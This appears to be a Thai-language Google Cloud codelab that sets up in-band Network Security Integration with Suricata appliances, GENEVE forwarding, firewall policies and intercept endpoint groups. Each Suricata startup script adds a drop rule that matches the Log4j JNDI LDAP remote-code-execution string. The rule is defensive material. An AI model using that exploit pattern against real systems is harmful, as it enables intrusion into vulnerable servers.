1. บทนำ
การผสานรวมการรักษาความปลอดภัยของเครือข่าย
การผสานรวมการรักษาความปลอดภัยของเครือข่าย (NSI) ช่วยให้คุณมีความยืดหยุ่นในการเพิ่มการรักษาความปลอดภัยของเครือข่ายสำหรับภาระงาน คุณอาจต้องการใช้ประโยชน์จากอุปกรณ์ที่สร้างขึ้นเพื่อวัตถุประสงค์เฉพาะจากผู้จำหน่ายซอฟต์แวร์อิสระ (ISV) บุคคลที่สาม หรือใช้ประโยชน์จากเครื่องมือการตรวจสอบแพ็กเก็ตแบบละเอียด (DPI) เพื่อตรวจสอบเพย์โหลด Google Cloud ช่วยให้คุณติดตั้งอุปกรณ์ได้อย่างโปร่งใสโดยไม่ต้องเปลี่ยนแปลงเครือข่ายหรือการกำหนดเส้นทาง เพื่อให้ผสานรวมกับอุปกรณ์ของบุคคลที่สามเหล่านี้ได้อย่างราบรื่น
Google Cloud มีการผสานรวมการรักษาความปลอดภัยของเครือข่าย 2 รูปแบบ ได้แก่ นอกแบนด์และในแบนด์ แล็บนี้จะอธิบายขั้นตอนในการติดตั้งใช้งานการผสานรวมความปลอดภัยของเครือข่ายในแบนด์
การผสานรวมการรักษาความปลอดภัยของเครือข่ายในช่องสัญญาณเดียวกัน
การผสานรวมความปลอดภัยของเครือข่ายจะให้การผสานรวมในแบนด์โดยใช้เทคโนโลยีการสกัดกั้นแพ็กเก็ต ซึ่งช่วยให้คุณวางอุปกรณ์เครือข่ายของบุคคลที่สามในเส้นทางการจราจรของข้อมูลในเครือข่ายเพื่อตรวจสอบภาระงานของ Google Cloud ได้อย่างโปร่งใส กระบวนการนี้ใช้ Generic Network Virtualization Encapsulation (GENEVE) เพื่อส่งแพ็กเก็ตไปยังอุปกรณ์อย่างปลอดภัยโดยไม่เปลี่ยนที่อยู่ IP ต้นทางและปลายทางเดิม
การผสานรวมในแบนด์นำเสนอแนวทางที่เน้นบริการในการติดตั้งใช้งานและใช้เครื่องมือเครือข่ายแบบอินไลน์ของบุคคลที่สามในโหมด Bump-in-the-Wire ในฐานะผู้ให้บริการ คุณสามารถเผยแพร่ชุดอุปกรณ์เครือข่ายของบุคคลที่สามที่ปรับขนาดได้เป็นการติดตั้งใช้งานการสกัดกั้น ในฐานะผู้ใช้บริการ คุณสามารถใช้นโยบายและกฎของไฟร์วอลล์รุ่นถัดไปของ Cloud เพื่อเลือกการรับส่งข้อมูลแบบละเอียดเพื่อเปลี่ยนเส้นทางไปยังปลายทางการสกัดกั้นในเครื่องอย่างโปร่งใสเพื่อตรวจสอบ

รูปที่ 1 สถาปัตยกรรมการติดตั้งใช้งานระดับสูงของบริการผสานรวมในแบนด์
ดูข้อมูลเพิ่มเติมเกี่ยวกับการผสานรวม NSI ในช่องสัญญาณเดียวกันได้ที่ภาพรวมการผสานรวมในช่องสัญญาณเดียวกัน
ผู้ผลิตบริการในแบนด์
ผู้ให้บริการคือที่ที่อุปกรณ์ของบุคคลที่สามได้รับการติดตั้งใช้งานและจัดการ ซึ่งอาจได้รับการจัดการโดยบุคคลในองค์กร (ทีมรักษาความปลอดภัย ฯลฯ) หรือผู้ให้บริการภายนอก ผู้ผลิตจะลงทะเบียนเครื่องเสมือน ซึ่งอาจเป็นอุปกรณ์ของบุคคลที่สาม เป็นแบ็กเอนด์ของ Network Load Balancer แบบส่งผ่านภายในในเครือข่าย VPC อุปกรณ์เหล่านี้จะตรวจสอบการจราจรของข้อมูลในเครือข่ายที่เปลี่ยนเส้นทางไปยังอุปกรณ์ จากนั้นผู้ให้บริการจะสร้างการทำให้ใช้งานได้ของการสกัดกั้น ซึ่งเป็นทรัพยากรที่เข้าถึงได้ในโซนที่ชี้ไปยังกฎการส่งต่อของตัวจัดสรรภาระงานเครือข่ายแบบพาสทรูภายใน
การทำให้ใช้งานได้ของการสกัดกั้นคือทรัพยากรที่เข้าถึงได้ในโซนที่แสดงถึงบริการตรวจสอบของผู้ผลิตสำหรับโซนที่เฉพาะเจาะจง ผู้ผลิตสร้างการติดตั้งใช้งานการสกัดกั้นสำหรับแต่ละโซนที่ได้ติดตั้งใช้งาน VM
กลุ่มการติดตั้งใช้งานการสกัดกั้นเป็นทรัพยากรระดับโลกที่กำหนดขอบเขตโปรเจ็กต์ ซึ่งช่วยให้ผู้บริโภคเชื่อมต่อกับบริการตรวจสอบของผู้ผลิตได้ ผู้ผลิตสร้างกลุ่มการติดตั้งใช้งานการสกัดกั้นเพื่อจัดกลุ่มการติดตั้งใช้งานการสกัดกั้นระดับโซนหลายรายการเข้าด้วยกัน ผู้ผลิตใช้ IAM เพื่อควบคุมผู้บริโภคที่เชื่อมต่อกับกลุ่มการติดตั้งใช้งานได้
ดูข้อมูลเพิ่มเติมได้ที่ภาพรวมกลุ่มการติดตั้งใช้งาน Intercept และภาพรวมการติดตั้งใช้งาน Intercept
ผู้ใช้บริการในแบนด์
ผู้ใช้บริการจะใช้บริการตรวจสอบที่ผู้ผลิตเสนอ ผู้บริโภคระบุ VPC ที่ต้องการตรวจสอบและผู้ผลิตที่ต้องการ โดยผู้ใช้จะสร้างกลุ่มปลายทางการสกัดกั้น ซึ่งเป็นทรัพยากรที่เข้าถึงได้ทั่วโลกที่แสดงถึงฝั่งของผู้ใช้ในความสัมพันธ์แบบผู้ผลิต-ผู้ใช้ และลิงก์กลุ่มปลายทางการสกัดกั้นกับกลุ่มการติดตั้งใช้งานการสกัดกั้นของผู้ผลิต
หากต้องการเชื่อมโยงกลุ่มปลายทางการสกัดกั้นกับ VPC ที่ต้องการให้ตรวจสอบการรับส่งข้อมูล ผู้ใช้จะสร้างการเชื่อมโยงกลุ่มปลายทางการสกัดกั้น หากต้องการเลือกการรับส่งข้อมูลที่ควรส่งไปยังผู้ผลิตเพื่อตรวจสอบ ผู้บริโภคจะต้องสร้างและใช้นโยบายไฟร์วอลล์เครือข่าย ผู้บริโภคสร้างกลุ่มโปรไฟล์ความปลอดภัยที่มีโปรไฟล์ความปลอดภัยซึ่งอ้างอิงกลุ่มปลายทางการสกัดกั้น จากนั้นผู้บริโภคจะสร้างกฎไฟร์วอลล์เพื่อเปลี่ยนเส้นทางการรับส่งข้อมูลที่ตรงกับเกณฑ์ที่เฉพาะเจาะจงไปยังอุปกรณ์ของผู้ผลิต
แม้ว่ากลุ่มปลายทางการสกัดกั้น(IEG) จะเป็นทรัพยากรระดับโปรเจ็กต์ แต่ IEG และการเชื่อมโยง IEG ไม่จำเป็นต้องอยู่ในโปรเจ็กต์เดียวกัน การเชื่อมโยง IEG จากโปรเจ็กต์อื่นๆ ภายในองค์กรสามารถอ้างอิง IEG ได้ ซึ่งแสดงถึงฝั่งผู้บริโภคของความสัมพันธ์ระหว่างผู้ผลิตกับผู้บริโภค ผู้บริโภคสร้างกลุ่มปลายทางการสกัดกั้นเพื่อใช้บริการตรวจสอบของผู้ผลิต กลุ่มปลายทางการสกัดกั้นแต่ละกลุ่มในฝั่งผู้บริโภคจะเชื่อมโยงกับกลุ่มการติดตั้งใช้งานการสกัดกั้นกลุ่มเดียวในฝั่งผู้ผลิต
ดูข้อมูลเพิ่มเติมได้ที่ภาพรวมของกลุ่มและเชื่อมโยงอุปกรณ์ปลายทางของ Intercept
ผู้บริโภคต้องสร้างกฎนโยบายไฟร์วอลล์เพื่อเปลี่ยนเส้นทางการรับส่งข้อมูลไปยังกลุ่มปลายทางการสกัดกั้น ผู้บริโภคสามารถระบุเกณฑ์การจับคู่ภายในกฎนโยบายไฟร์วอลล์ ซึ่งช่วยให้กำหนดได้ว่าจะให้เครื่องใช้ของผู้ผลิตตรวจสอบการรับส่งข้อมูลใด
ผู้บริโภคสร้างโปรไฟล์ความปลอดภัยของการสกัดกั้นที่กำหนดเองเพื่อระบุว่าควรใช้กลุ่มปลายทางการสกัดกั้นใดในการตรวจสอบการรับส่งข้อมูล
ผู้บริโภคสร้างกลุ่มโปรไฟล์ความปลอดภัยเพื่อกำหนดกลุ่มฟีเจอร์การตรวจสอบความปลอดภัยที่ควรใช้กับชุดย่อยของการรับส่งข้อมูลที่เฉพาะเจาะจง กลุ่มโปรไฟล์ความปลอดภัยประกอบด้วยโปรไฟล์ความปลอดภัยการสกัดกั้นที่กำหนดเองรายการเดียว
สิ่งที่คุณจะสร้าง

รูปที่ 2 สถาปัตยกรรมการติดตั้งใช้งานระดับสูงสำหรับ Codelab นี้
เพื่อให้ Codelab นี้ง่ายต่อการใช้งาน คุณจะใช้โปรเจ็กต์เดียวและสร้างเครือข่าย VPC 2 เครือข่าย รวมถึงจัดการทรัพยากรเครือข่ายและความปลอดภัยจำนวนหนึ่ง แล็บนี้จะแสดงวิธีการทำให้ใช้งานได้การผสานรวมบริการเครือข่ายในแบนด์กับอุปกรณ์ของบุคคลที่สามเพื่อการแทรกความปลอดภัยแบบโปร่งใส
ระบบจะเลือกโฟลว์ที่จะตรวจสอบโดยใช้พารามิเตอร์ที่ตรงกันของไฟร์วอลล์ Cloud ซึ่งรวมถึง 5-tuple (IP ต้นทาง, IP ปลายทาง, โปรโตคอล, พอร์ตต้นทาง, พอร์ตปลายทาง) เพื่อให้ห้องทดลองนี้ใช้งานได้ง่าย คุณจะตรวจสอบการรับส่งข้อมูลขาออกทั้งหมดในพอร์ต TCP 80
ผู้ผลิตจะอนุญาตการรับส่งขาเข้าจาก IP เกตเวย์ซับเน็ต VPC ของผู้ผลิต (10.0.0.1/32) สำหรับแพ็กเก็ต UDP ที่มีพอร์ตปลายทาง 6081 ซึ่งเป็นพอร์ตที่รู้จักกันดีสำหรับ GENEVE
สถานะสุดท้ายของฐานกฎนโยบายไฟร์วอลล์เครือข่ายจะคล้ายกับตารางด้านล่าง
นโยบายเครือข่ายผู้ผลิต
ลำดับความสำคัญ | ทิศทาง | โปรโตคอล | Target | แหล่งที่มา | ปลายทาง | พอร์ตปลายทาง | การดำเนินการ |
100 | ขาเข้า | ทั้งหมด | ทั้งหมด | การตรวจสอบประสิทธิภาพการทำงาน | ตามแต่ละประเทศ | ตามแต่ละประเทศ | อนุญาต |
200 | ขาเข้า | ทั้งหมด | ทั้งหมด | IAP | ตามแต่ละประเทศ | ตามแต่ละประเทศ | อนุญาต |
300 | ขาเข้า | UDP | ทั้งหมด | 10.0.0.1/32 | ตามแต่ละประเทศ | 6081 | อนุญาต |
นโยบายเครือข่ายผู้บริโภค:
ลำดับความสำคัญ | ทิศทาง | โปรโตคอล | Target | แหล่งที่มา | ปลายทาง | พอร์ตปลายทาง | การดำเนินการ |
200 | ขาเข้า | TCP | ทั้งหมด | IAP | ตามแต่ละประเทศ | 22 | อนุญาต |
800 | ขาออก | TCP | ทั้งหมด | ตามแต่ละประเทศ | ตามแต่ละประเทศ | 80 | สกัดกั้น |
สิ่งที่คุณจะได้เรียนรู้
- วิธีทำให้ใช้งานได้การผสานรวมการรักษาความปลอดภัยของเครือข่ายในช่องสัญญาณเดียวกัน
สิ่งที่คุณต้องมี
- องค์กรและโปรเจ็กต์ Google Cloud
- สิทธิ์ IAM ที่เหมาะสม
- ความรู้เกี่ยวกับการติดตั้งใช้งานอินสแตนซ์และการกำหนดค่าคอมโพเนนต์เครือข่าย
- ความรู้เกี่ยวกับการกำหนดค่าไฟร์วอลล์ของนโยบายเครือข่าย
2. ก่อนเริ่มต้น
บทบาทและสิทธิ์ของ IAM
หากต้องการทำ Codelab การผสานรวมการรักษาความปลอดภัยของเครือข่าย (NSI) ในช่องสัญญาณเดียวกันให้เสร็จสมบูรณ์ คุณจะต้องมีบทบาท IAM ต่อไปนี้
- ผู้ดูแลระบบเครือข่าย Compute (
roles/compute.networkAdmin): ต้องใช้ในการสร้างและจัดการเครือข่าย VPC, ซับเน็ต, Cloud Router, เกตเวย์ NAT และบริการแบ็กเอนด์ของตัวจัดสรรภาระงาน - ผู้ดูแลระบบความปลอดภัยของ Compute (
roles/compute.securityAdmin): จำเป็นสำหรับการสร้าง กำหนดค่า และเชื่อมโยงนโยบายและกฎไฟร์วอลล์เครือข่ายส่วนกลาง - ผู้ดูแลระบบอินสแตนซ์ Compute (
roles/compute.instanceAdmin.v1): ต้องใช้ในการทำให้ใช้งานได้, SSH ไปยัง และลบอุปกรณ์ Suricata และ VM สำหรับการทดสอบของผู้บริโภคในที่สุด - ผู้ดูแลการติดตั้งใช้งานการสกัดกั้น (
roles/networksecurity.interceptDeploymentAdmin): ใช้โดยผู้ผลิตเพื่อสร้างและจัดการการติดตั้งใช้งานการสกัดกั้นระดับโซนและกลุ่มการติดตั้งใช้งานทั่วโลก - Intercept Endpoint Admin (
roles/networksecurity.interceptEndpointAdmin): ผู้บริโภคใช้เพื่อสร้างกลุ่มอุปกรณ์ปลายทางการสกัดกั้นและเชื่อมโยงกับเครือข่าย VPC - ผู้ใช้การติดตั้งใช้งานการสกัดกั้น (
roles/networksecurity.interceptDeploymentUser): ต้องมีในโปรเจ็กต์ผู้ผลิตเพื่อมอบสิทธิ์ให้ผู้บริโภคเชื่อมต่อกับกลุ่มการติดตั้งใช้งานของผู้ผลิต - ผู้ดูแลระบบโปรไฟล์ความปลอดภัย (
roles/networksecurity.securityProfileAdmin): ต้องมีที่ระดับองค์กรเพื่อสร้างและจัดการโปรไฟล์ความปลอดภัยที่กำหนดเองและกลุ่มโปรไฟล์ความปลอดภัย - ผู้ดูแลการใช้บริการ (
roles/serviceusage.serviceUsageAdmin): จำเป็นต่อการเปิดใช้ API ของnetworksecurity.googleapis.comและcompute.googleapis.comที่จำเป็นสำหรับฟีเจอร์ NSI - ผู้มีสิทธิ์ดูโปรเจ็กต์ (
roles/viewer): จำเป็นต้องใช้เพื่อดึงข้อมูลการกำหนดค่าโปรเจ็กต์และลำดับชั้นขององค์กรสำหรับตัวแปรสภาพแวดล้อมที่ใช้ทั่วทั้งแล็บ
Google Cloud APIs
โปรดตรวจสอบว่าได้เปิดใช้ Google Cloud API ที่จำเป็นในโปรเจ็กต์แล้ว
เปิดใช้ API ที่จำเป็นโดยเรียกใช้คำสั่ง gcloud ต่อไปนี้ภายใน Cloud Shell
gcloud services enable compute.googleapis.com \ networksecurity.googleapis.com \ cloudresourcemanager.googleapis.com
สร้าง/อัปเดตตัวแปร
Codelab นี้ใช้ $variables เพื่อช่วยในการติดตั้งใช้งานการกำหนดค่า gcloud ใน Cloud Shell
ใน Cloud Shell ให้เรียกใช้คำสั่งด้านล่างโดยแทนที่ข้อมูลภายในวงเล็บตามที่จำเป็น
gcloud config set project [project-id] export project_id=$(gcloud config list --format="value(core.project)") export org_id=$(gcloud projects get-ancestors $project_id --format="csv[no-heading](id,type)" | grep ",organization$" | cut -d"," -f1 ) export region=[region] export zonea=[first-zone from $region] export zoneb=[second-zone from $region] export zonec=[third-zone from $region]
3. การดำเนินการของผู้ผลิต
ส่วนนี้จะครอบคลุมด้านการติดตั้งใช้งานของโปรดิวเซอร์ ซึ่งรวมถึงการติดตั้งใช้งาน VPC, อุปกรณ์เสมือนเครือข่ายของบุคคลที่สาม และคอมโพเนนต์ที่เกี่ยวข้องทั้งหมดสำหรับการผสานรวมความปลอดภัยของเครือข่าย
คอมโพเนนต์ VPC และ Cloud NAT
- สร้าง VPC และซับเน็ต
gcloud compute networks create producer-vpc --subnet-mode=custom gcloud compute networks subnets create producer-$region-subnet \ --range=10.0.0.0/24 --network=producer-vpc --region=$region
- รับ IP เกตเวย์ของซับเน็ตเพื่อใช้กับกฎไฟร์วอลล์
export gatewayip=$(gcloud compute networks subnets list --project=$project_id --network=producer-vpc --format=json | jq -r '.[0].gatewayAddress')
- สร้างนโยบายและกฎ FW สำหรับ VPC ของผู้ผลิต กฎ FW เหล่านี้จะอนุญาตการรับส่งข้อมูลขาเข้าสำหรับการตรวจสอบประสิทธิภาพการทำงาน, IAP และการรับส่งข้อมูลที่มาจาก NSI
gcloud compute network-firewall-policies create producer-fwpolicy \
--global
gcloud compute network-firewall-policies rules create 100 \
--description="allow http traffic from ilb health-check ranges" \
--action=allow \
--firewall-policy=producer-fwpolicy \
--global-firewall-policy \
--layer4-configs=tcp:80 \
--direction=INGRESS \
--src-ip-ranges=35.191.0.0/16,130.211.0.0/22
gcloud compute network-firewall-policies rules create 200 \
--description="allow ssh from identity-aware-proxy ranges" \
--action=allow \
--firewall-policy=producer-fwpolicy \
--global-firewall-policy \
--layer4-configs=tcp:22 \
--direction=INGRESS \
--src-ip-ranges=35.235.240.0/20
gcloud compute network-firewall-policies rules create 300 \
--description="allow GENEVE UDP:6081 packets from gateway" \
--action=allow \
--firewall-policy=producer-fwpolicy \
--global-firewall-policy \
--layer4-configs=udp:6081 \
--direction=INGRESS \
--src-ip-ranges=$gatewayip
- เชื่อมโยง VPC ของผู้ผลิตกับนโยบายไฟร์วอลล์เครือข่าย
gcloud compute network-firewall-policies associations create \
--firewall-policy producer-fwpolicy \
--network producer-vpc \
--name producer-fwpolicy-association \
--global-firewall-policy
- ทำให้ใช้งานได้ Cloud Router และ Cloud NAT สำหรับอุปกรณ์เสมือนเครือข่าย (NVA) ของบุคคลที่สามเพื่อดาวน์โหลดแพ็กเกจและการอัปเดตที่จำเป็น
gcloud compute addresses create producer-$region-cloudnatip --region=$region export cloudnatip=$(gcloud compute addresses list --filter=name:$region-cloudnatip --format="value(address)") gcloud compute routers create producer-$region-cr \ --region=$region --network=producer-vpc gcloud compute routers nats create producer-cloudnat-$region \ --router=producer-$region-cr --router-region $region \ --nat-all-subnet-ip-ranges \ --nat-external-ip-pool=producer-$region-cloudnatip
VM ของบุคคลที่สาม
สำหรับแล็บนี้ คุณจะติดตั้งใช้งาน Suricata ซึ่งเป็นบริการตรวจหาภัยคุกคามแบบโอเพนซอร์ส คำสั่งนี้มีสคริปต์การเริ่มต้นที่จะติดตั้งและกำหนดค่า Suricata นอกจากนี้ ยังมี iptables ที่ทำหน้าที่ Source Network Address Translation (SNAT) และ Destination Network Address Translation (DNAT) สำหรับการจัดการและการตอบสนองต่อแพ็กเก็ต GENEVE
- ติดตั้งใช้งาน NVA ของบุคคลที่สามในโซนแรก
gcloud compute instances create suricata-$zonea \
--shielded-secure-boot \
--subnet=producer-$region-subnet \
--no-address \
--private-network-ip 10.0.0.3 \
--zone $zonea \
--metadata startup-script='#! /bin/bash
sudo sysctl -w net.ipv4.ip_forward=1
apt-get update
apt-get install nginx suricata tcpdump -y
sudo suricata-update
sudo systemctl stop suricata
sudo iptables -t nat -A PREROUTING -p udp -s 10.0.0.1/32 -d 10.0.0.11/32 -i ens4 -j DNAT --to-destination 10.0.0.1
sudo iptables -t nat -A POSTROUTING -p udp --dport 6081 -s 10.0.0.1 -d 10.0.0.1 -o ens4 -j SNAT --to 10.0.0.11
sudo iptables -t nat -A PREROUTING -p udp -s 10.0.0.1/32 -d 10.0.0.12/32 -i ens4 -j DNAT --to-destination 10.0.0.1
sudo iptables -t nat -A POSTROUTING -p udp --dport 6081 -s 10.0.0.1 -d 10.0.0.1 -o ens4 -j SNAT --to 10.0.0.12
sudo echo "drop http any any -> any any (msg:\"EXPLOIT Apache log4j RCE Attempt (http ldap) (CVE-2021-44228)\"; content:\"|24 7b|jndi|3a|ldap|3a 2f 2f|\"; nocase; rev:1;)" >> /var/lib/suricata/rules/suricata.rules
sudo iptables -I FORWARD -j NFQUEUE
sudo sed -i "s/\ \/run\/suricata.pid/\ \/run\/suricata.pid\ -i\ ens4/g" /lib/systemd/system/suricata.service
sudo sed -i "s/\ -\ interface:\ eth0/\ -\ interface:\ ens4/g" /etc/suricata/suricata.yaml
sudo sed -i "s/\/etc\/suricata\/rules/\/var\/lib\/suricata\/rules/g" /etc/suricata/suricata.yaml
sudo systemctl daemon-reload
sudo systemctl stop suricata
sleep 5
sudo suricata -c /etc/suricata/suricata.yaml -q 0 &
sleep 10
'
- ติดตั้งใช้งาน NVA ของบุคคลที่สามในโซนที่ 2 โดยทำดังนี้
gcloud compute instances create suricata-$zoneb \
--shielded-secure-boot \
--subnet=producer-$region-subnet \
--no-address \
--private-network-ip 10.0.0.4 \
--zone $zoneb \
--metadata startup-script='#! /bin/bash
sudo sysctl -w net.ipv4.ip_forward=1
apt-get update
apt-get install nginx suricata tcpdump -y
sudo suricata-update
sudo systemctl stop suricata
sudo iptables -t nat -A PREROUTING -p udp -s 10.0.0.1/32 -d 10.0.0.11/32 -i ens4 -j DNAT --to-destination 10.0.0.1
sudo iptables -t nat -A POSTROUTING -p udp --dport 6081 -s 10.0.0.1 -d 10.0.0.1 -o ens4 -j SNAT --to 10.0.0.11
sudo iptables -t nat -A PREROUTING -p udp -s 10.0.0.1/32 -d 10.0.0.12/32 -i ens4 -j DNAT --to-destination 10.0.0.1
sudo iptables -t nat -A POSTROUTING -p udp --dport 6081 -s 10.0.0.1 -d 10.0.0.1 -o ens4 -j SNAT --to 10.0.0.12
sudo echo "drop http any any -> any any (msg:\"EXPLOIT Apache log4j RCE Attempt (http ldap) (CVE-2021-44228)\"; content:\"|24 7b|jndi|3a|ldap|3a 2f 2f|\"; nocase; rev:1;)" >> /var/lib/suricata/rules/suricata.rules
sudo iptables -I FORWARD -j NFQUEUE
sudo sed -i "s/\ \/run\/suricata.pid/\ \/run\/suricata.pid\ -i\ ens4/g" /lib/systemd/system/suricata.service
sudo sed -i "s/\ -\ interface:\ eth0/\ -\ interface:\ ens4/g" /etc/suricata/suricata.yaml
sudo sed -i "s/\/etc\/suricata\/rules/\/var\/lib\/suricata\/rules/g" /etc/suricata/suricata.yaml
sudo systemctl daemon-reload
sudo systemctl stop suricata
sleep 5
sudo suricata -c /etc/suricata/suricata.yaml -q 0 &
sleep 10
'
คอมโพเนนต์ตัวจัดสรรภาระงานของโปรดิวเซอร์
- สร้างการตรวจสอบประสิทธิภาพการทำงานทั่วไปที่ใช้เพื่อตรวจสอบความพร้อมใช้งานของ NVA ของบุคคลที่สาม
gcloud compute health-checks create http nva-hc
- สร้างกลุ่มอินสแตนซ์ที่ไม่มีการจัดการระดับโซนสำหรับแต่ละโซน
gcloud compute instance-groups unmanaged create producer-$zonea-uig \ --zone $zonea gcloud compute instance-groups unmanaged create producer-$zoneb-uig \ --zone $zoneb
- เพิ่มอินสแตนซ์ลงในกลุ่มอินสแตนซ์
gcloud compute instance-groups unmanaged add-instances producer-$zonea-uig --instances=suricata-$zonea --zone=$zonea gcloud compute instance-groups unmanaged add-instances producer-$zoneb-uig --instances=suricata-$zoneb --zone=$zoneb
ตรวจสอบว่ากลุ่มอินสแตนซ์มีอินสแตนซ์ของคุณด้วยคำสั่งต่อไปนี้
gcloud compute instance-groups unmanaged list-instances producer-$zonea-uig --zone=$zonea gcloud compute instance-groups unmanaged list-instances producer-$zoneb-uig --zone=$zoneb
ตัวอย่างเอาต์พุต
NAME: suricata-$zonea STATUS: RUNNING NAME: suricata-$zoneb STATUS: RUNNING
- สร้างบริการแบ็กเอนด์ UDP ภายใน
gcloud compute backend-services create producer-bes \ --protocol=UDP \ --region=projects/$project_id/regions/$region \ --health-checks=projects/$project_id/global/healthChecks/nva-hc \ --load-balancing-scheme=INTERNAL
- เพิ่มทั้ง 2 กลุ่มอินสแตนซ์ลงในบริการแบ็กเอนด์
gcloud compute backend-services add-backend producer-bes --instance-group=projects/$project_id/zones/$zonea/instanceGroups/producer-$zonea-uig --region=$region gcloud compute backend-services add-backend producer-bes --instance-group=projects/$project_id/zones/$zoneb/instanceGroups/producer-$zoneb-uig --region=$region
- สำรอง IP ภายในสำหรับกฎการส่งต่อ การติดตั้งใช้งานการสกัดกั้นแต่ละครั้งต้องมีกฎการส่งต่อที่ไม่ซ้ำกัน ดังนี้
gcloud compute addresses create producer-fr-$zonea-ip \
--region $region --subnet producer-$region-subnet \
--addresses 10.0.0.11
gcloud compute addresses create producer-fr-$zoneb-ip \
--region $region --subnet producer-$region-subnet \
--addresses 10.0.0.12
- สร้างกฎการส่งต่อสำหรับแต่ละโซน ต้องระบุเนื่องจากการติดตั้งใช้งานการสกัดกั้นต้องมีกฎการส่งต่อที่ไม่ซ้ำกัน
gcloud compute forwarding-rules create producer-fr-$zonea \ --ip-protocol=UDP --address=10.0.0.11 \ --backend-service=projects/$project_id/regions/$region/backendServices/producer-bes \ --ip-version=IPV4 \ --ports=6081 \ --load-balancing-scheme=INTERNAL \ --region=projects/$project_id/regions/$region \ --network=projects/$project_id/global/networks/producer-vpc \ --subnet=projects/$project_id/regions/$region/subnetworks/producer-$region-subnet gcloud compute forwarding-rules create producer-fr-$zoneb \ --ip-protocol=UDP --address=10.0.0.12 \ --backend-service=projects/$project_id/regions/$region/backendServices/producer-bes \ --ip-version=IPV4 \ --ports=6081 \ --load-balancing-scheme=INTERNAL \ --region=projects/$project_id/regions/$region \ --network=projects/$project_id/global/networks/producer-vpc \ --subnet=projects/$project_id/regions/$region/subnetworks/producer-$region-subnet
คอมโพเนนต์การผสานรวมการรักษาความปลอดภัยของเครือข่าย
- สร้างกลุ่มการติดตั้งใช้งานการสกัดกั้น
gcloud network-security intercept-deployment-groups create producer-nsi-deployment-group \
--location global \
--no-async \
--network producer-vpc
ตรวจสอบว่าสร้างกลุ่มการนำส่งสำเร็จแล้ว
gcloud network-security intercept-deployment-groups describe producer-nsi-deployment-group \
--location global
เอาต์พุตตัวอย่าง
createTime: '2025-01-16T06:13:48.075183628Z' name: projects/$project_id/locations/global/interceptDeploymentGroups/producer-nsi-deployment-group network: projects/$project_id/global/networks/producer-vpc reconciling: false state: ACTIVE updateTime: '2025-01-16T06:13:50.556947138Z'
- สร้างการติดตั้งใช้งานการสกัดกั้นสำหรับแต่ละโซน
gcloud network-security intercept-deployments create nsi-deployment-$zonea \
--location $zonea \
--forwarding-rule producer-fr-$zonea \
--forwarding-rule-location $region \
--no-async \
--intercept-deployment-group projects/$project_id/locations/global/interceptDeploymentGroups/producer-nsi-deployment-group
gcloud network-security intercept-deployments create nsi-deployment-$zoneb \
--location $zoneb \
--forwarding-rule producer-fr-$zoneb \
--forwarding-rule-location $region \
--no-async \
--intercept-deployment-group projects/$project_id/locations/global/interceptDeploymentGroups/producer-nsi-deployment-group
ตรวจสอบว่าสร้างการติดตั้งใช้งานการสกัดกั้นสำเร็จแล้ว
gcloud network-security intercept-deployments describe nsi-deployment-$zonea \
--location $zonea
gcloud network-security intercept-deployments describe nsi-deployment-$zoneb \
--location $zoneb
ตัวอย่างเอาต์พุต
createTime: '2025-01-16T06:27:08.834875130Z' forwardingRule: projects/$project_id/regions/$region/forwardingRules/producer-fr interceptDeploymentGroup: projects/$project_id/locations/global/interceptDeploymentGroups/producer-nsi-deployment-group name: projects/$project_id/locations/$zonea/interceptDeployments/nsi-deployment-$zonea reconciling: false state: ACTIVE updateTime: '2025-01-16T06:34:14.401072601Z' createTime: '2025-01-16T06:33:47.798469786Z' forwardingRule: projects/$project_id/regions/$region/forwardingRules/producer-fr-$zoneb interceptDeploymentGroup: projects/$project_id/locations/global/interceptDeploymentGroups/producer-nsi-deployment-group name: projects/$project_id/locations/us-west1-b/interceptDeployments/nsi-deployment-$zoneb reconciling: false state: ACTIVE updateTime: '2025-01-16T06:34:25.258447474Z'
ขอแสดงความยินดี คุณตั้งค่าฝั่งโปรดิวเซอร์เสร็จสมบูรณ์แล้ว จากนั้นคุณจะกำหนดค่าฝั่งผู้บริโภคเพื่อสกัดกั้นการรับส่งข้อมูลและส่งไปยังอุปกรณ์ของบุคคลที่สามอย่างโปร่งใสเพื่อบังคับใช้
4. การดำเนินการของผู้บริโภค
แม้ว่า Lab นี้จะใช้ VPC แยกต่างหากภายในโปรเจ็กต์เดียวเพื่อให้ง่าย แต่ในสภาพแวดล้อมจริง ทรัพยากรผู้ผลิตและผู้บริโภคอาจอยู่ในโปรเจ็กต์ที่แตกต่างกันหรือแม้แต่ในองค์กรที่แตกต่างกัน
คอมโพเนนต์ VPC และ Cloud NAT
- สร้าง VPC และซับเน็ต
gcloud compute networks create consumer-vpc --subnet-mode=custom gcloud compute networks subnets create consumer-$region-subnet \ --range=192.168.0.0/24 --network=consumer-vpc --region=$region
- สร้าง Cloud Router และเกตเวย์ Cloud NAT
gcloud compute addresses create consumer-$region-cloudnatip \
--region=$region
export cloudnatip=$(gcloud compute addresses list \
--filter=name:consumer-$region-cloudnatip \
--format="value(address)")
gcloud compute routers create consumer-$region-cr \
--region=$region \
--network=consumer-vpc
gcloud compute routers nats create consumer-cloudnat-$region \
--router=consumer-$region-cr --router-region $region \
--nat-all-subnet-ip-ranges \
--nat-external-ip-pool=consumer-$region-cloudnatip
กลุ่มอุปกรณ์ปลายทางและการเชื่อมโยงการสกัดกั้น
- สร้างกลุ่มปลายทางการสกัดกั้น
gcloud network-security intercept-endpoint-groups create nsi-endpoint-group \
--location global \
--no-async \
--intercept-deployment-group projects/$project_id/locations/global/interceptDeploymentGroups/producer-nsi-deployment-group
การตรวจสอบว่าสร้างปลายทางสำเร็จ
gcloud network-security intercept-endpoint-groups describe nsi-endpoint-group \
--location global
เอาต์พุตตัวอย่าง
createTime: '2025-01-16T06:37:10.620185836Z' interceptDeploymentGroup: projects/$project_id/locations/global/interceptDeploymentGroups/producer-nsi-deployment-group name: projects/$project_id/locations/global/interceptEndpointGroups/nsi-endpoint-group reconciling: false state: ACTIVE updateTime: '2025-01-16T06:37:22.707994466Z'
- สร้างการเชื่อมโยงกลุ่มปลายทางการสกัดกั้นโดยระบุ VPC ของผู้ใช้
gcloud network-security intercept-endpoint-group-associations create nsi-endpoint-group-assoc \
--location global \
--network consumer-vpc \
--no-async \
--intercept-endpoint-group projects/$project_id/locations/global/interceptEndpointGroups/nsi-endpoint-group
ตรวจสอบ
gcloud network-security intercept-endpoint-group-associations describe nsi-endpoint-group-assoc \
--location global
ตัวอย่างเอาต์พุต
